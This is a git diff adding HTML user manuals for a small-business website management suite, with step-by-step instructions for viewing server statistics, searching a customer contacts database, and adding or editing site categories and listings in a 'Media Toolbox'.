+Statistics</B>&rdquo; on the top menu, then you will see two graphs
+with server statistics. S<I>ee Figure 16, 17.</I> The second graph
+above is titled &ldquo;<B>Summary by Month</B>&rdquo; (<I>Figure 17</I>);
+this graph will show you a summary of visits per month, then an
+average per week in that month. Click on &ldquo;<B>May 2003</B>&rdquo;,
+this will bring you to a page will exhausted server statistics.</FONT></FONT></P>
+<P CLASS="western" STYLE="font-weight: medium"> 
+</P>
+<P CLASS="western"><FONT FACE="Arial, sans-serif"><FONT SIZE=2><B>Step
+2: The Numbers<BR></B></FONT></FONT><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><FONT SIZE=2><FONT FACE="Arial, sans-serif">In
+the middle of the page is a box labeled &ldquo;<B>Top 30 of X Total
+Referrers</B>&rdquo;.  As our example earlier, the top ones listed
+might be your website address. The next ones listed might be search
+engines (google.com, yahoo.com, excite.com). And also you might see
+other websites that they came from such as the chamber of commerce
+you belong to, or other directory websites. You then could use this
+data to boost your website by using online advertising, try to get
+better search engine placement or become a member of your local
+chamber <BR>of commerce.</FONT></FONT></P>
+<P CLASS="western" STYLE="border-top: none; border-bottom: 1px solid #000000; border-left: none; border-right: none; padding-top: 0in; padding-bottom: 0.01in; padding-left: 0in; padding-right: 0in; font-weight: medium; page-break-before: always">
+<FONT COLOR="#808080">&#9658;</FONT> <B><FONT SIZE=2><FONT FACE="Arial, sans-serif">WHAT
+VISITORS TYPED IN THE SEARCH ENGINES TO GET TO YOUR WEBSITE</FONT></FONT></B></P>
+<P CLASS="western"><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><FONT SIZE=2><FONT FACE="Arial, sans-serif">If
+want to find a book store on the internet, you could use a search
+engine (google.com, yahoo.com, excite.com) to find it. You might type
+in &ldquo;<B>Bookstore or Local Bookstore</B>&rdquo; to find one.
+&ldquo;<B>Bookstore and Local Bookstore</B>&rdquo; are called
+keywords. The server can memorize these keywords can report them to
+you by completing the <BR>following steps:</FONT></FONT></P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western"><FONT FACE="Arial, sans-serif"><FONT SIZE=2><B>Step
+1: Sever Statistics<BR></B></FONT></FONT><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><FONT SIZE=2><FONT FACE="Arial, sans-serif">To
+determine what &ldquo;keywords&rdquo; the visitor used in the search
+engine, you must decide what month you want to view. Click &ldquo;<B>Server
+Statistics</B>&rdquo; on the top menu, then you will see two graphs
+with server statistics. S<I>ee Figure 16, 17.</I> The second graph
+above is titled &ldquo;<B>Summary by Month</B>&rdquo; (<I>Figure 17</I>);
+this graph will show you a summary of visits per month, then an
+average per week in that month. Let&rsquo;s use May 2003 as an
+example. Click on &ldquo;<B>May 2003</B>&rdquo;.</FONT></FONT></P>
+<P CLASS="western" STYLE="font-weight: medium"><BR>
+</P>
+<P CLASS="western"><FONT FACE="Arial, sans-serif"><FONT SIZE=2><B>Step
+2: The Numbers<BR></B></FONT></FONT><BR>
+</P>
+<P CLASS="western" STYLE="font-weight: medium"><FONT SIZE=2><FONT FACE="Arial, sans-serif">Next
+you will see a webpage with the exhausted server statistics on it. In
+the middle to bottom of the webpage is a box labeled &ldquo;<B>Top 20
+of X Search Strings</B>&rdquo;. This is a list of the top twenty
+keywords that were used in a search engine to get to <BR>your
+website. </FONT></FONT>
+</P>
+<DIV TYPE=FOOTER>
+       <P ALIGN=RIGHT STYLE="margin-top: 0.3in"><BR>
+       </P>
+</DIV>
+</BODY>
+</HTML>
\ No newline at end of file
diff --git a/manuals/html/ShoppingSuite_1.0_html_17e55d9c.png b/manuals/html/ShoppingSuite_1.0_html_17e55d9c.png
new file mode 100644 (file)
index 0000000..d41b8b5
Binary files /dev/null and b/manuals/html/ShoppingSuite_1.0_html_17e55d9c.png differ
diff --git a/manuals/html/ShoppingSuite_1.0_html_2029294c.png b/manuals/html/ShoppingSuite_1.0_html_2029294c.png
new file mode 100644 (file)
index 0000000..f8e34e5
Binary files /dev/null and b/manuals/html/ShoppingSuite_1.0_html_2029294c.png differ
diff --git a/manuals/html/ShoppingSuite_1.0_html_2691f37a.jpg b/manuals/html/ShoppingSuite_1.0_html_2691f37a.jpg
new file mode 100644 (file)
index 0000000..40dccb1
Binary files /dev/null and b/manuals/html/ShoppingSuite_1.0_html_2691f37a.jpg differ
diff --git a/manuals/html/ShoppingSuite_1.0_html_353ca12d.png b/manuals/html/ShoppingSuite_1.0_html_353ca12d.png
new file mode 100644 (file)
index 0000000..7ab7ddd
Binary files /dev/null and b/manuals/html/ShoppingSuite_1.0_html_353ca12d.png differ
diff --git a/manuals/html/ShoppingSuite_1.0_html_3d1ede38.jpg b/manuals/html/ShoppingSuite_1.0_html_3d1ede38.jpg
new file mode 100644 (file)
index 0000000..d47e02f
Binary files /dev/null and b/manuals/html/ShoppingSuite_1.0_html_3d1ede38.jpg differ
diff --git a/manuals/html/ShoppingSuite_1.0_html_412aa01b.jpg b/manuals/html/ShoppingSuite_1.0_html_412aa01b.jpg
new file mode 100644 (file)
index 0000000..67afc55
Binary files /dev/null and b/manuals/html/ShoppingSuite_1.0_html_412aa01b.jpg differ
diff --git a/manuals/html/ShoppingSuite_1.0_html_70e23e0c.png b/manuals/html/ShoppingSuite_1.0_html_70e23e0c.png
new file mode 100644 (file)
index 0000000..62754a1
Binary files /dev/null and b/manuals/html/ShoppingSuite_1.0_html_70e23e0c.png differ
diff --git a/manuals/html/ShoppingSuite_1.0_html_717383bd.jpg b/manuals/html/ShoppingSuite_1.0_html_717383bd.jpg
new file mode 100644 (file)
index 0000000..b628ee2
Binary files /dev/null and b/manuals/html/ShoppingSuite_1.0_html_717383bd.jpg differ
diff --git a/manuals/html/ShoppingSuite_1.0_html_76e0f626.png b/manuals/html/ShoppingSuite_1.0_html_76e0f626.png
new file mode 100644 (file)
index 0000000..d929f4f
Binary files /dev/null and b/manuals/html/ShoppingSuite_1.0_html_76e0f626.png differ
diff --git a/manuals/html/ShoppingSuite_1.0_html_92c196b.jpg b/manuals/html/ShoppingSuite_1.0_html_92c196b.jpg
new file mode 100644 (file)
index 0000000..5e93c8f
Binary files /dev/null and b/manuals/html/ShoppingSuite_1.0_html_92c196b.jpg differ
diff --git a/manuals/html/ShoppingSuite_1.0_html_m28494708.jpg b/manuals/html/ShoppingSuite_1.0_html_m28494708.jpg
new file mode 100644 (file)
index 0000000..4aceef2
Binary files /dev/null and b/manuals/html/ShoppingSuite_1.0_html_m28494708.jpg differ
diff --git a/manuals/html/ShoppingSuite_1.0_html_m28980d19.jpg b/manuals/html/ShoppingSuite_1.0_html_m28980d19.jpg
new file mode 100644 (file)
index 0000000..6462237
Binary files /dev/null and b/manuals/html/ShoppingSuite_1.0_html_m28980d19.jpg differ
diff --git a/manuals/html/ShoppingSuite_1.0_html_m45668104.jpg b/manuals/html/ShoppingSuite_1.0_html_m45668104.jpg
new file mode 100644 (file)
index 0000000..20c2fcc
Binary files /dev/null and b/manuals/html/ShoppingSuite_1.0_html_m45668104.jpg differ
diff --git a/manuals/html/ShoppingSuite_1.0_html_m4e11eca.jpg b/manuals/html/ShoppingSuite_1.0_html_m4e11eca.jpg
new file mode 100644 (file)
index 0000000..c8117ab
Binary files /dev/null and b/manuals/html/ShoppingSuite_1.0_html_m4e11eca.jpg differ
diff --git a/manuals/html/ShoppingSuite_1.0_html_m7060cdf7.jpg b/manuals/html/ShoppingSuite_1.0_html_m7060cdf7.jpg
new file mode 100644 (file)
index 0000000..7c132ec
Binary files /dev/null and b/manuals/html/ShoppingSuite_1.0_html_m7060cdf7.jpg differ
diff --git a/manuals/html/ShoppingSuite_1.0_html_m78ff242b.png b/manuals/html/ShoppingSuite_1.0_html_m78ff242b.png
new file mode 100644 (file)
index 0000000..df90204
Binary files /dev/null and b/manuals/html/ShoppingSuite_1.0_html_m78ff242b.png differ
diff --git a/manuals/html/ShoppingSuite_1.0_html_m7d3719bd.png b/manuals/html/ShoppingSuite_1.0_html_m7d3719bd.png
new file mode 100644 (file)
index 0000000..0e735b1
Binary files /dev/null and b/manuals/html/ShoppingSuite_1.0_html_m7d3719bd.png differ
diff --git a/manuals/html/ShoppingSuite_1.0_html_mb007b69.jpg b/manuals/html/ShoppingSuite_1.0_html_mb007b69.jpg
new file mode 100644 (file)
index 0000000..957d42d
Binary files /dev/null and b/manuals/html/ShoppingSuite_1.0_html_mb007b69.jpg differ
diff --git a/manuals/html/SteveContactsDatabase_1.0.html b/manuals/html/SteveContactsDatabase_1.0.html
new file mode 100644 (file)
index 0000000..2e68f44
--- /dev/null
@@ -0,0 +1,118 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
+<HTML>
+<HEAD>
+       <META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=windows-1252">
+       <TITLE>Contacts</TITLE>
+       <META NAME="GENERATOR" CONTENT="OpenOffice.org 1.1.1  (Win32)">
+       <META NAME="AUTHOR" CONTENT="Eric Greenwald">
+       <META NAME="CREATED" CONTENT="20030611;14280000">
+       <META NAME="CHANGEDBY" CONTENT="Ove Klykken">
+       <META NAME="CHANGED" CONTENT="20040617;15461505">
+       <STYLE>
+       <!--
+               @page { size: 8.5in 11in; margin-right: 1.25in; margin-top: 0.5in; margin-bottom: 1in }
+               P { margin-bottom: 0.08in; direction: ltr; color: #000000; widows: 2; orphans: 2 }
+               P.western { font-family: "Times New Roman", serif; font-size: 12pt; so-language: en-US }
+               P.cjk { font-family: "Times New Roman", serif; font-size: 12pt }
+               P.ctl { font-family: "Times New Roman", serif; font-size: 12pt; so-language: ar-SA }
+       -->
+       </STYLE>
+</HEAD>
+<BODY LANG="en-US" TEXT="#000000" DIR="LTR">
+<DIV TYPE=HEADER>
+       <P STYLE="margin-bottom: 0in"><BR>
+       </P>
+       <P CLASS="western" STYLE="margin-bottom: 0.3in"><BR>
+       </P>
+</DIV>
+<P CLASS="western" STYLE="margin-bottom: 0in; border-top: none; border-bottom: 1px solid #000000; border-left: none; border-right: none; padding-top: 0in; padding-bottom: 0.01in; padding-left: 0in; padding-right: 0in">
+<FONT COLOR="#808080"><FONT FACE="Arial, sans-serif"><FONT SIZE=5 STYLE="font-size: 20pt"><B>Contacts</B></FONT></FONT></FONT></P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><FONT SIZE=2><FONT FACE="Arial, sans-serif">This
+is a contact database comprising of everyone that has requested
+information online from your business. </FONT></FONT>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in; border-top: none; border-bottom: 1px solid #000000; border-left: none; border-right: none; padding-top: 0in; padding-bottom: 0.01in; padding-left: 0in; padding-right: 0in">
+<FONT COLOR="#808080">&#9658; </FONT><B><FONT FACE="Arial, sans-serif"><FONT SIZE=2>FIND
+CUSTOMERS</FONT></FONT></B></P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><FONT FACE="Arial, sans-serif"><FONT SIZE=2><B>Step
+1: &ldquo;Search records for:&rdquo;</B></FONT></FONT></P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><FONT SIZE=2><FONT FACE="Arial, sans-serif">Click
+&ldquo;<B>Contacts</B>&rdquo; in the top menu, next you will see the
+contact database query interface.<I> See Figure 1.</I><B> </B>In the
+box entitled: &ldquo;<B>Search records for:</B>&rdquo; type in the
+person&rsquo;s name to find a specific individual. If you want to
+search for email addresses only, simply type in a &ldquo;<B>@</B>&rdquo;
+symbol here. You can also query contacts alphabetically. For example,
+to query all of the contacts whose last name starts with &ldquo;<B>A</B>&rdquo;.</FONT></FONT></P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><FONT FACE="Arial, sans-serif"><FONT SIZE=2><B>Step
+2: Search where?</B></FONT></FONT></P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><FONT SIZE=2><FONT FACE="Arial, sans-serif">In
+the box under &ldquo;<B>In Fields</B>&rdquo; choose what fields that
+you would like to search the database for. Since our example is
+search for the name John Smith it wouldn&rsquo;t make since to search
+anything else but the &ldquo;<B>First Name&rdquo; </B>and &ldquo;<B>Last
+Name&rdquo;</B>. If you were searching for only emails, then you
+would select the email option. To select multiple &ldquo;I<B>n
+Fields</B>&rdquo; you must hold down the CTRL key while clicking the
+options.</FONT></FONT></P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><FONT SIZE=2><FONT FACE="Arial, sans-serif"><B>Step
+3: &ldquo;Output of records:</B>&rdquo;</FONT></FONT></P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><FONT SIZE=2><FONT FACE="Arial, sans-serif">In
+the second section named &ldquo;<B>Output of records</B>&rdquo; you
+now have to decide what we are looking for about the individual. In
+the example provided, in addition to the first and last name, we also
+want to know what city John Smith lived in. So you would select
+&ldquo;<B>First Name&rdquo;</B> and &ldquo;<B>Last Name&rdquo;</B>
+and also &ldquo;<B>City&rdquo;</B>.</FONT></FONT></P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><FONT SIZE=2><FONT FACE="Arial, sans-serif"><B>Optional
+Step 4: &ldquo;File output:</B>&rdquo;</FONT></FONT></P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><A NAME="OLE_LINK5"></A>
+<FONT SIZE=2><FONT FACE="Arial, sans-serif">Also in this section,
+&ldquo;<B>Output of records</B>&rdquo; you can have the database
+return the information to you in a file format. This can be useful
+for importing this data into a mail merge program to create mailing
+labels.</FONT></FONT></P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><B><FONT FACE="Arial, sans-serif"><FONT SIZE=2><BR><BR><BR><BR><IMG SRC="SteveContactsDatabase_1.0_html_mb007b69.jpg" NAME="Graphic1" ALIGN=BOTTOM WIDTH=263 HEIGHT=240 BORDER=0><BR></FONT><I><FONT SIZE=1 STYLE="font-size: 8pt">Figure
+1</FONT></I></FONT></B></P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><FONT FACE="Arial, sans-serif"><FONT SIZE=2><B>Step
+5: Search!</B></FONT></FONT></P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><FONT SIZE=2><FONT FACE="Arial, sans-serif">Verify
+that all the search information is correct and click the button at
+the top named &ldquo;<B>Submit Query</B>&rdquo; next we will see a
+summary of what you are now asking the database to return back to
+you, click &ldquo;<B>Send Query</B>&rdquo; and John Smith and the
+city he lives in will then be displayed.<B> </B>If you have selected
+a file output, you will see a link at the bottom of the results page.
+Click on the link and save the file to your computer.</FONT></FONT></P>
+</BODY>
+</HTML>
\ No newline at end of file
diff --git a/manuals/html/SteveContactsDatabase_1.0_html_mb007b69.jpg b/manuals/html/SteveContactsDatabase_1.0_html_mb007b69.jpg
new file mode 100644 (file)
index 0000000..957d42d
Binary files /dev/null and b/manuals/html/SteveContactsDatabase_1.0_html_mb007b69.jpg differ
diff --git a/manuals/html/ToolboxUserGuide_1.0.html b/manuals/html/ToolboxUserGuide_1.0.html
new file mode 100644 (file)
index 0000000..3760fc1
--- /dev/null
@@ -0,0 +1,271 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
+<HTML>
+<HEAD>
+       <META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=windows-1252">
+       <TITLE>Media Toolbox</TITLE>
+       <META NAME="GENERATOR" CONTENT="OpenOffice.org 1.1.1  (Win32)">
+       <META NAME="AUTHOR" CONTENT="Eric Greenwald">
+       <META NAME="CREATED" CONTENT="20030611;14300000">
+       <META NAME="CHANGEDBY" CONTENT="Ove Klykken">
+       <META NAME="CHANGED" CONTENT="20040617;15341201">
+       <STYLE>
+       <!--
+               @page { size: 8.5in 11in; margin-right: 1.25in; margin-top: 0.5in; margin-bottom: 1in }
+               P { margin-bottom: 0.08in; direction: ltr; color: #000000; widows: 2; orphans: 2 }
+               P.western { font-family: "Times New Roman", serif; font-size: 12pt; so-language: en-US }
+               P.cjk { font-family: "Times New Roman", serif; font-size: 12pt }
+               P.ctl { font-family: "Times New Roman", serif; font-size: 12pt; so-language: ar-SA }
+               H1 { margin-top: 0in; margin-bottom: 0in; border-top: none; border-bottom: 1px solid #000000; border-left: none; border-right: none; padding-top: 0in; padding-bottom: 0.01in; padding-left: 0in; padding-right: 0in; direction: ltr; color: #ff0000; widows: 2; orphans: 2 }
+               H1.western { font-family: "Arial", sans-serif; font-size: 20pt; so-language: en-US }
+               H1.cjk { font-family: "Times New Roman", serif; font-size: 20pt }
+               H1.ctl { font-family: "Arial", sans-serif; font-size: 20pt; so-language: ar-SA; font-weight: medium }
+       -->
+       </STYLE>
+</HEAD>
+<BODY LANG="en-US" TEXT="#000000" DIR="LTR">
+<DIV TYPE=HEADER>
+       <P STYLE="margin-bottom: 0.3in"><BR>
+       </P>
+</DIV>
+<H1 CLASS="western"><FONT COLOR="#808080">Media Toolbox</FONT></H1>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><FONT SIZE=2><FONT FACE="Arial, sans-serif">Categories
+are the sections of your website, for example, About Us, Location,
+History. Using categories allows you to modify the pages and even add
+pages to your website. </FONT></FONT>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in; border-top: none; border-bottom: 1px solid #000000; border-left: none; border-right: none; padding-top: 0in; padding-bottom: 0.01in; padding-left: 0in; padding-right: 0in">
+<FONT COLOR="#808080">&#9658; </FONT><B><FONT FACE="Arial, sans-serif"><FONT SIZE=2>ADD
+A NEW CATEGORY</FONT></FONT></B></P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><FONT FACE="Arial, sans-serif"><FONT SIZE=2><B>Step
+1: Add New Category</B></FONT></FONT></P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><FONT SIZE=2><FONT FACE="Arial, sans-serif">A
+category is the section in which you introduce the visitor to the
+website. To add a category on your website click &ldquo;<B>Media
+Toolbox</B>&rdquo; on the top menu. Next you will see a list of
+categories, or sections of your website. S<I>ee Figure 1.</I> Click
+the link right above the title called <B>&ldquo;Add A <BR>New
+Category&rdquo;.</B></FONT></FONT></P>
+<P CLASS="western" STYLE="margin-bottom: 0in"> 
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><FONT FACE="Arial, sans-serif"><FONT SIZE=2><B>Step
+2: Category Information</B></FONT></FONT></P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><FONT SIZE=2><FONT FACE="Arial, sans-serif">Next,
+you will see empty boxes where you can add text:<I> See Figure 2.</I></FONT></FONT></P>
+<UL>
+       <LI><P CLASS="western" STYLE="margin-bottom: 0in"><FONT FACE="Arial, sans-serif"><FONT SIZE=2>Name:
+       Type the name for the<BR> new webpage.</FONT></FONT></P>
+       <LI><P CLASS="western" STYLE="margin-bottom: 0in"><FONT SIZE=2><FONT FACE="Arial, sans-serif">Parent
+       Category: If the category you are adding to the Web site is a
+       sub-category, you will need to select a Parent Category. Otherwise
+       leave it as: &ldquo;<B>-No Parent-</B>&ldquo;.</FONT></FONT></P>
+       <LI><P CLASS="western" STYLE="margin-bottom: 0in"><FONT FACE="Arial, sans-serif"><FONT SIZE=2>Intro:
+       Type the heading for the webpage, it could be the same as the name
+       and it also could be a little more descriptive.</FONT></FONT></P>
+       <LI><P CLASS="western" STYLE="margin-bottom: 0in"><FONT FACE="Arial, sans-serif"><FONT SIZE=2>Description:
+       Type the text for <BR>the webpage.</FONT></FONT></P>
+       <LI><P CLASS="western" STYLE="margin-bottom: 0in"><FONT SIZE=2><FONT FACE="Arial, sans-serif">New
+       Image: You have the option to add one image related to the category.
+       When you click the browse button, it will open a file window that
+       allows you to browse your computer and choose an image file to add.
+       Choose the image then click <B>&ldquo;Open&rdquo;</B>. </FONT></FONT>
+       </P>
+</UL>
+<P CLASS="western" STYLE="margin-bottom: 0in"><FONT FACE="Arial, sans-serif"><FONT SIZE=2>**
+Rules of thumb for uploading images:</FONT></FONT></P>
+<UL>
+       <LI><P CLASS="western" STYLE="margin-bottom: 0in"><FONT FACE="Arial, sans-serif"><FONT SIZE=2>The
+       only image types that will work on the Web are .GIF and .JPG saved
+       as RGB color values.</FONT></FONT></P>
+       <LI><P CLASS="western" STYLE="margin-bottom: 0in"><FONT FACE="Arial, sans-serif"><FONT SIZE=2>These
+       image files should be no greater than 600 Pixels wide</FONT></FONT></P>
+       <LI><P CLASS="western" STYLE="margin-bottom: 0in"><FONT FACE="Arial, sans-serif"><FONT SIZE=2>The
+       resolution should be no greater than 72 dpi.</FONT></FONT></P>
+</UL>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><FONT FACE="Arial, sans-serif"><FONT SIZE=2><B>Step
+3: Insert</B></FONT></FONT></P>
+<P CLASS="western" STYLE="margin-bottom: 0in"> 
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><FONT SIZE=2><FONT FACE="Arial, sans-serif">Once
+you have added all the information you would like on your new
+webpage, click the &ldquo;<B>Insert</B>&rdquo; button at the bottom
+of the page.</FONT></FONT></P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in; border-top: none; border-bottom: 1px solid #000000; border-left: none; border-right: none; padding-top: 0in; padding-bottom: 0.01in; padding-left: 0in; padding-right: 0in">
+<FONT COLOR="#808080">&#9658; </FONT><B><FONT FACE="Arial, sans-serif"><FONT SIZE=2>MODIFY
+A CATEGORY</FONT></FONT></B></P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><FONT FACE="Arial, sans-serif"><FONT SIZE=2><B>Step
+1: Edit</B></FONT></FONT></P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><FONT FACE="Arial, sans-serif"><FONT SIZE=2>To
+modify a category on your website click &ldquo;<B>Categories</B>&rdquo;
+on the top menu. Here you will see a list of categories on your
+website. S<I>ee Figure 1. </I>Click &ldquo;<B>Edit</B>&rdquo; next to
+the category you would like to modify. 
+<IMG SRC="ToolboxUserGuide_1.0_html_92c196b.jpg" NAME="Graphic1" ALIGN=BOTTOM WIDTH=263 HEIGHT=114 BORDER=0><BR></FONT><B><I><FONT SIZE=1 STYLE="font-size: 8pt">Figure
+1</FONT></I></B></FONT></P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><B><FONT SIZE=2><FONT FACE="Arial, sans-serif">Step
+2: Modify Category Information</FONT></FONT></B></P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><FONT SIZE=2><FONT FACE="Arial, sans-serif">Next
+you will see all the information about that category. <I>See Figure
+2.</I> All of the text in these boxes can be modified. For example,
+you can change the &ldquo;<B>Intro</B>&rdquo; to say: &ldquo;<B>Our
+New Location</B>&rdquo; and then change the &ldquo;<B>Description</B>&rdquo;
+and add information about your new location. You could also change
+the title of the webpage, which is the &ldquo;<B>Name</B>&rdquo;. </FONT></FONT>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><FONT FACE="Arial, sans-serif"><FONT SIZE=2><B>Step
+3: Update</B></FONT></FONT></P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><FONT SIZE=2><FONT FACE="Arial, sans-serif">Once
+you have finished modifying the category, click the &ldquo;<B>Update</B>&rdquo;
+button at the bottom of the page.</FONT></FONT></P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><IMG SRC="ToolboxUserGuide_1.0_html_m28980d19.jpg" NAME="Graphic2" ALIGN=BOTTOM WIDTH=263 HEIGHT=222 BORDER=0><FONT FACE="Arial, sans-serif"><FONT SIZE=2><BR></FONT><B><I><FONT SIZE=1 STYLE="font-size: 8pt">Figure
+2</FONT></I></B></FONT></P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in; border-top: none; border-bottom: 1px solid #000000; border-left: none; border-right: none; padding-top: 0in; padding-bottom: 0.01in; padding-left: 0in; padding-right: 0in; page-break-before: always">
+<FONT COLOR="#808080">&#9658; </FONT><B><FONT FACE="Arial, sans-serif"><FONT SIZE=2>REMOVE
+A CATEGORY</FONT></FONT></B></P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><FONT FACE="Arial, sans-serif"><FONT SIZE=2><B>Step
+1: Edit</B></FONT></FONT></P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><FONT SIZE=2><FONT FACE="Arial, sans-serif">To
+remove a category on your website click &ldquo;<B>Categories</B>&rdquo;
+on the top menu. Here you will see a list of categories on your
+website. S<I>ee Figure 1. </I>Click &ldquo;<B>Edit</B>&rdquo; next to
+the category you would like to remove. </FONT></FONT>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><FONT FACE="Arial, sans-serif"><FONT SIZE=2><B>Step
+2: Remove</B></FONT></FONT></P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><FONT SIZE=2><FONT FACE="Arial, sans-serif">Next
+you will see all the information about the category, verify that this
+is the category you would like to remove. Once you have done that
+click the &ldquo;<B>Delete</B>&rdquo; button at <BR>the bottom. </FONT></FONT>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><FONT SIZE=2><FONT FACE="Arial, sans-serif">NOTE:
+If you have any listings within that category, you must first delete
+those first, then proceed to delete the category.<BR></FONT></FONT><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in; border-top: none; border-bottom: 1px solid #000000; border-left: none; border-right: none; padding-top: 0in; padding-bottom: 0.01in; padding-left: 0in; padding-right: 0in">
+<FONT COLOR="#808080">&#9658; </FONT><FONT SIZE=2><FONT FACE="Arial, sans-serif"><B>ADD
+A LISTING</B></FONT></FONT></P>
+<P STYLE="margin-top: 0.19in; margin-bottom: 0.19in"><FONT FACE="Arial Unicode MS, sans-serif"><FONT SIZE=2><FONT FACE="Arial, sans-serif"><FONT COLOR="#000000">The
+listings are like paragraphs on your website. This is where you can
+add detailed contact information and upload multiple images, text,
+URL&rsquo;s and files. </FONT></FONT></FONT></FONT>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><FONT FACE="Arial, sans-serif"><FONT SIZE=2><B>Step
+1: Choose a category for the listing</B></FONT></FONT></P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><FONT FACE="Arial, sans-serif"><B><FONT SIZE=1 STYLE="font-size: 5pt"><BR></FONT></B><FONT SIZE=2>Click
+&ldquo;<B>Media Toolbox</B>&rdquo; from the top menu. Determine what
+category you would like to add the listing in. Click &ldquo;<B>Listings</B>&rdquo;
+next to that category.</FONT></FONT></P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><B><FONT SIZE=2><FONT FACE="Arial, sans-serif">Step
+2: Add the listing</FONT></FONT></B></P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><FONT SIZE=2><FONT FACE="Arial, sans-serif">Next
+you will see a page that could have previous listings on it, and it
+might not. Click &ldquo;<B>Add new Record</B>&rdquo; at the top.</FONT></FONT></P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><BR>
+</P>
+<P CLASS="western" STYLE="margin-bottom: 0in"><B><FONT SIZE=2><FONT FACE="Arial, sans-serif">Step
+3: Add Information</FONT></FONT></B></P>
